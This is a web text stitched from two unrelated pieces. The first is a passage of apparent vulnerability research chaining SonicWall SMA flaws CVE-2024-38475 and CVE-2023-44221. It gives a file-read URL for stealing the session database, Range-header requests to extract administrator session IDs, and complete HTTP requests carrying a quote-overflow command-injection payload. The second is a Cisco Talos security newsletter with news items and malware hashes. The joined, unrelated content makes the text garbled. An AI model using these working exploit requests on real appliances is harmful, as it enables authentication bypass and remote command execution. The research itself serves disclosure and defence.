) configured.\\n[Wed Apr 30 08:48:03.734068 2025] [:notice] [pid 2476] ModSecurity: APR compiled version=\\"1.6.5\\"; loaded version=\\"1.6.5\\"\\n[Wed Apr 30 08:48:03.734153 2025] [:notice] [pid 2476] ModSecurity: PCRE compiled version=\\"8.32 \\"; loaded version=\\"8.32 2012-11-30\\"\\n[Wed Apr 30 08:48:03.734155 2025] [:notice] [pid 2476] ModSecurity: LIBXML compiled version=\\"2.7.8\\"\\n[Wed Apr 30 08:48:03.751992 2025] [:notice] [pid 2477] mod_antiloris 0.4 started\\n[Wed Apr 30 08:48:03.755098 2025] [core:warn] [pid 2477] AH00098: pid file /usr/src/EasyAccess/var/logs/httpd.pid overwritten -- Unclean shutdown of previous Apache run?\\n[Wed Apr 30 08:48:03.944222 2025] [mpm_prefork:notice] [pid 2477] AH00163: Apache/2.4.38 (Unix) OpenSSL/1.1.1t mod_wsgi/4.5.24 Python/3.6 configured -- resuming normal operations\\n
Now we’ve demonstrated that we can read arbitrary files from a vulnerable SonicWall SMA appliance - or specifically, arbitrary files that the webserver can read (the webserver runs as the nobody
user) - it’s time to escalate our access and use this vulnerability for something meaningful.
Perhaps we can find a file that contains sensitive information that would allow us to escalate our access or take over an existing authenticated session.
Quite quickly, we identified the file /tmp/temp.db
- this is a SQLite database that contains a significant amount of information, but most importantly, it contains session identifiers for currently active sessions - jackpot.
To illustrate this, lets take a quick browse of this SQLite database:
With a quick glance at the structure of this SQLite database, we noticed a table named Sessions
.
Let’s take a closer look, shall we?
Perfect! The Sessions
table contains the information we’re looking for:
Given we can read arbitrary files, surely the next step is to just exfiltrate this database as so:
curl https://host/tmp/temp.db%3f.1.1.1.1a-1.css -o temp.db\\n
Happy with our progress, we loaded our newly downloaded SQLite database file into our local DB viewer and revisited the Sessions
table.
To our surprise, the Sessions
table was empty:
Huh? Didn’t we just confirm that this SQLite database contains the information we need? So why, when we download it via our shiny vulnerability, is it empty?
Well, being the trusty hackers we are, we just kept replaying the request - if it doesn’t work the first time, try another 100 times.
Curiously, sometimes we would get a SQLite database with real content, and other times we wouldn’t. Honestly, this was strange and kept us scratching our heads for a while.
We could ignore this and just spam requests - but that’s boring, we’re aiming for stable and reliable.
Suddenly, we had an idea - what if, instead of downloading the entire file in a single request, we retrieved it chunk by chunk?
Apache, by default, supports the Range
header — and here’s an example of it in action, specifically requesting the byte range that we know our session ID and other important information is stored:
GET /tmp/temp.db%3f.1.1.1.1a-1.css HTTP/1.1\\nHost: host\\nRange: bytes=7875-8000\\n\\n
As you can see, the response matches the specific portion we requested from the original file.
This turned out to be reliable and stable, helping our anxiety reduce a little.
By requesting the file chunk by chunk, we were able to download the complete SQLite database and extract a currently logged-in administrator session ID.
Good news then, we’ve demonstrated how attackers are likely leveraging CVE-2024-38475 in the wild to ultimately bypass authentication and gain administrative control over vulnerable SonicWall SMA appliances.
A little satisfied but not quite fully satisfied with the level of access we’d achieved, we decided to move on to CVE-2023-44221, which is supposedly being exploited in the wild in combination with CVE-2024-38475.
CVE-2023-44221 is described as a Command Injection vulnerability. A quick look at the advisory reveals that the Command Injection vulnerability is reachable after authentication (which we have now bypassed) and allows command execution as the nobody
user.
Since the web server is the only process running as nobody
, we can reasonably assume that this injection occurs within one of the CGI files.
Diving back into our world of binaries, we honed in on /usr/src/EasyAccess/www/spog/diagnostics
and noticed the following change:
Note:traceroute6
was not the only function that hadsafeSystemCmdArg
added to it. Other commands, such asping6
and several others, were also patched — and are similarly exploitable. However, they all follow a similar exploitation approach, and for clarity, we’ve chosen to focus our explanation ontraceroute6
.
To put a face to the name, we began examining the SonicWall SMA management interface and quickly identified the “Diagnostics” menu where we anticipated to find the vulnerable functionality given the name (with our blunt common sense):
It appears that in the new version, the safeSystemCmdArg
function is being used to sanitize input passed to the traceroute6
command.
Could this be a case of classic Command Injection in the most trivial manner, in an enterprise-grade appliance?
Assuming this is as simple and straightforward as we hoped, a payload that resembles something like \\";touch /tmp/watchtowr-was-here;\\"
or even just `touch /tmp/watchtowr-was-here`
should be enough to confirm whether Command Injection is possible, right?
POST /spog/diagnostics HTTP/1.1\\nHost: host\\nCookie: swap=\\"aaaaaaaa=\\"; swcctn=bbbbbbbbbb\\nUser-Agent: Mozilla/5.0\\nX-Csrf-Token: bbbbbbbbbb\\n\\ntool=TRACEROUTE6_CMD&target=\\";touch+/tmp/watchtowr-was-here;\\"\\n
Unfortunately, it didn’t work - why is life never so simple?
To understand why, let’s take a closer look at the complete function flow:
traceroute6_handler
function is invoked when the traceroute6 option is used. The initial_command
is a char *
pointing to a heap buffer that contains our input for the trace operation.__int64 traceroute6_handler(FILE *stream, char *initial_command) // [1]\\n{\\n __int64 initial_command_dup; // rax\\n const char *v3; // rax\\n FILE *v4; // r14\\n int v5; // r12d\\n const char *v6; // rax\\n const char *v8; // rax\\n const char *v9; // rax\\n _BYTE escaped_cmd[256]; // [rsp+0h] [rbp-1F48h] BYREF\\n char command[512]; // [rsp+100h] [rbp-1E48h] BYREF\\n char v12[1040]; // [rsp+300h] [rbp-1C48h] BYREF\\n char s[6152]; // [rsp+710h] [rbp-1838h] BYREF\\n unsigned __int64 v14; // [rsp+1F18h] [rbp-30h]\\n\\n v14 = __readfsqword(0x28u);\\n initial_command_dup = __strdup(initial_command);\\n shellScriptEncode((__int64)escaped_cmd, initial_command_dup); // [2]\\n memset(v12, 0, 1025);\\n \\n // [3]\\n __sprintf_chk(command, 1LL, 512LL, \\"traceroute6 -q 1 -w 2 \\\\\\\\\\"%s\\\\\\\\\\" 2>&1\\", escaped_cmd);\\n v4 = popen(command, \\"r\\"); // [4]\\n
initial_command
is passed to the shellScriptEncode
function, which transforms the input and places the encoded result into the escaped_cmd
variable.$
→ Replaced with \\\\$
(escaped $
).\\"
→ Replaced with \\\\\\"
(escaped \\"
).\\\\
→ Replaced with \\\\\\\\
(escaped backslash).void __cdecl shellScriptEncode(_WORD *a1, char *a2)\\n{\\n char *v2;\\n char v4;\\n\\n v2 = a2;\\n if ( a2 )\\n {\\n while ( 1 )\\n {\\n v4 = *v2;\\n if ( !*v2 )\\n break;\\n if ( v4 == \'$\' )\\n {\\n *a1++ = \'$\\\\\\\\\';\\n }\\n else if ( v4 <= \'$\' )\\n {\\n if ( v4 != \'\\"\' )\\n goto LABEL_4;\\n *a1++ = \'\\"\\\\\\\\\';\\n }\\n else if ( v4 == \'\\\\\\\\\' )\\n {\\n *a1++ = \'\\\\\\\\\\\\\\\\\';\\n }\\n else\\n {\\n if ( v4 != \'`\' )\\n {\\nLABEL_4:\\n *(_BYTE *)a1 = v4;\\n a1 = (_WORD *)((char *)a1 + 1);\\n goto LABEL_5;\\n }\\n *a1++ = \'`\\\\\\\\\';\\n }\\nLABEL_5:\\n ++v2;\\n }\\n }\\n *(_BYTE *)a1 = 0;\\n}
escaped_cmd
is then inserted into the traceroute6 command, wrapped in double quotes, and the full command is assigned to the command
variable using __sprintf_chk
.popen
, and the resulting file descriptor is stored in the v4
variable.We can now see where we’re falling over - the role of the shellScriptEncode
function (surprise, surprise, given the name) is to escape certain characters. This effectively prevents us from breaking out of the surrounding double quotes, whether by using special characters like backticks, semicolons, or others commonly used in command injection.
However, this function has a major flaw. As you can see, it accepts only two arguments: one for the source buffer and another for the destination buffer where the escaped value is written.
But — there’s no limitation on length.
We can abuse this by providing input that expands significantly after escaping. For example, if we supply five double quotes, the escaping process will produce ten characters — one for each quote and one for its escape character.
input -> \\"\\"\\"\\"\\"\\noutput -> \\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\n
This means that if we supply enough double quotes, the escaped output will grow significantly, and when escaped, it can lead to a stack overflow into the adjacent buffer.
Now, astute readers might be wondering: “What is the adjacent buffer to escaped_cmd
?”
Well, the adjacent buffer is the command
buffer. If we cause an overflow that exceeds 256 escaped characters, we end up overwriting the null terminator that separates these two buffers.
As a result, when the escaped_cmd
pointer is later used to craft the final command, it no longer terminates properly. The sprintf
function continues reading into the command
buffer, and this unintended read creates a nested command structure — a perfect condition for exploitation.
┌───────────────────────────────┐ ┌───────────────────────────────┐\\n │ escaped_cmd[256] │ │ command[512] │\\n │ [________empty__________] │ │ [________empty__________] │\\n └───────────────────────────────┘ └───────────────────────────────┘\\n │ shellScriptEncode(escaped_cmd, user_input)\\n ▼\\n ┌───────────────────────────────┐\\n │ escaped_cmd[256] │\\n │ ;ifconfig;\\\\\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"... │ ← 400 bytes of escaped payload\\n └───────────────────────────────┘\\n │ Overflow past 256 bytes\\n ▼\\n ┌───────────────────────────────┐\\n │ command[0…143] ← payload │ <-- overflow bytes 256…399\\n ├───────────────────────────────┤\\n │ command[144…511] original │\\n │ content │\\n └───────────────────────────────┘\\n\\n │ __sprintf_chk(command,…, \\"%s\\", escaped_cmd)\\n ▼\\n ┌─────────────────────────────────────────────────────────────┐\\n │ command[512] │\\n │ ;ifconfig;\\\\\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"…[continues copying from stack…] \\\\0 │\\n └─────────────────────────────────────────────────────────────┘\\n
What do we mean by a nested command?
Consider the following payload — it contains 140 double-quote characters. When passed through the escaping function, those 140 quotes become 280 characters, due to each quote being escaped.
;ifconfig; \\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\n
This overflows the buffer and destroys the null terminator, leading to the unintended concatenation of data between the escaped_cmd
and command
buffers.
When sprintf
later constructs the final command, the resulting string will look something like this:
sh -c traceroute6 -q 1 -w 2 \\";ifconfig;\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"\\\\\\"traceroute6 -q 1 -w 2 \\";ifconfig;\\\\\\" 2>&
It causes an odd number of escape sequences, which in turn allows us to break out of the surrounding double quotes — something that was previously not possible due to the escaping logic.
To demonstrate this more tangibly, here is an HTTP request leveraging the above example payload:
POST /spog/diagnostics HTTP/1.1\\nHost: host\\nCookie: swap=\\"aaaaaaaa=\\"; swcctn=bbbbbbbbbb\\nUser-Agent: Mozilla/5.0\\nX-Csrf-Token: bbbbbbbbbb\\nPriority: u=0\\nTe: trailers\\nConnection: keep-alive\\n\\ntool=TRACEROUTE6_CMD&target=;ifconfig; \\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\"\\n
Note: If you\'re wondering “why not just perform a classic stack overflow to gain control of execution?” — it\'s because this binary is protected with a stack canary. It’s far easier (and more reliable) to proceed with the exploitation technique described above.
As always, we’ve produced a Detection Artefact Generator to demonstrate and achieve pre-auth RCE.
Our decision to publicly release our Detection Artefact Generator today revolves around the painful reality that attackers already have all the necessary information to exploit vulnerable appliances (as the CISA KEV addition signifies).
As a result, we’re not increasing the risk faced by any organization still affected by these known and patchable vulnerabilities - we are levelling the playing field to enable organizations and defenders to determine their exposure status confidently.
The Detection Artefact Generator chain is a combination of two vulnerabilities:
This piece of art can be found here:
Welcome to this week’s edition of the Threat Source newsletter.
Recently, I was invited to sit on a panel at the CIO4Good Conference here in Washington D.C., where I talked about incident response and cyber preparedness to a room full of CIOs who help lead wonderful missions to help others. I’m incredibly fortunate to be able to volunteer for the NGO community. I’ve been involved with them for a few years now, and it has been a singular experience.
I sit in a uniquely blessed situation. Cisco Talos is resourced to help protect our customers — we have expertise, tooling and a huge array of diverse security skillsets. A humanitarian assistance or non-governmental organization (NGO) usually has none or very few of these luxuries. If I can take some of my time and experience here at Talos and help others who provide housing to the homeless, protect refugees or feed the hungry, damn right I’m gonna do it. And NGOs? They really need help.
In today’s global humanitarian funding climate, money and grants are very scarce to come by. This means the competition for the dollars that remain is fierce, and that things like cybersecurity can fall by the wayside. But security in an NGO is incredibly important. We\'re talking about incredibly vulnerable and marginalized people who deserve aid, and the amazing volunteers who should have privacy without malicious interference.
The hard truth is that cybersecurity can be a bleak space. We as professionals do not operate in the “good news” business. We work, and thrive, in adversarial conditions — actively searching for what the bad guys are doing and learning how they are coming after the good guys. They’re launching ransomware. They are extorting and causing real harm to others. This is day in and day out, and it can wear you down mentally. You have to endure and focus on the mission. After all, that’s the gig.
This is why I enjoy volunteering by either giving some of my time and expertise to a mentee or to an NGO that has an outstanding mission to help others. It puts fuel in your soul and reminds you that others are fighting their own good fights. These organizations are some of the best. They have a thankless, often dangerous, mission to help others have better lives. The way I see it, volunteering is the least I could do.
If you want to join me, there are some places that could use your help. Check out the Cyber Peace Institute, or Defcon Project Franklin.
This week is bittersweet because we’re discussing the final section of Talos\' 2024 Year in Review report. Let’s jump into the abyss of AI-based threats together.
AI may not have upended the threat landscape last year, but it’s setting the stage for 2025, where agentic AI and automated vulnerability discovery could pose serious challenges for defenders. The future may bring:
Continue to stay informed and alert, and for more information, read Talos’ blog post about these threats or download the full Year in Review.
AirPlay Vulnerabilities Expose Apple Devices to Zero-Click Takeover. The identified security defects, 23 in total, could be exploited over wireless networks and peer–to-peer connections, leading to the complete compromise of not only Apple products, but also third-party devices that use the AirPlay SDK. (SecurityWeek)
4 Million Affected by VeriSource Data Breach. VeriSource says the stolen information belonged to employees and dependents of companies using its services. It has been working with its customers to “collect the necessary information to notify additional individuals affected by this incident.” (SecurityWeek)
SAP NetWeaver Visual Composer Flaw Under Active Exploitation. CVE-2025-31324 is a critical vulnerability with a maximum CVSS score of 10 that affects all SAP NetWeaver 7.xx versions. It allows unauthenticated remote attackers to upload arbitrary files to Internet exposed systems without any restrictions. (DarkReading)
FBI shares massive list of 42,000 LabHost phishing domains. The FBI has shared 42,000 phishing domains tied to the LabHost cybercrime platform, one of the largest global phishing-as-a-service (PhaaS) platforms that was dismantled in April 2024. (BleepingComputer)
State-of-the-art phishing: MFA bypass. Cybercriminals are bypassing multi-factor authentication (MFA) using adversary-in-the-middle (AiTM) attacks via reverse proxies, intercepting credentials and authentication cookies.
IR Trends Q1 2025: Phishing soars as identity-based attacks persist. This quarter, phishing attacks surged as the primary method for initial access. Learn how you can detect and prevent pre-ransomware attacks.
TTP Episode 11. Craig, Bill and Hazel discuss three of the biggest callouts from Cisco Talos\' latest Incident Response Quarterly Trends.
Talos Takes: Identity and MFA. Hazel and friends discuss how AI isn\'t rewriting the cybercrime playbook, but it is turbo charging some of the old tricks, particularly on the social engineering side.
SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507
MD5: 2915b3f8b703eb744fc54c81f4a9c67f
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507/
Typical Filename: VID001.exe
Detection Name: Win.Worm.Bitmin-9847045-0
SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91
MD5: 7bdbd180c081fa63ca94f9c22c457376
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91
Typical Filename: img001.exe
Detection Name: Simple_Custom_Detection
SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca
MD5: 71fea034b422e4a17ebb06022532fdde
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91
Typical Filename: VID001.exe
Detection Name: Coinminer:MBT.26mw.in14.Talos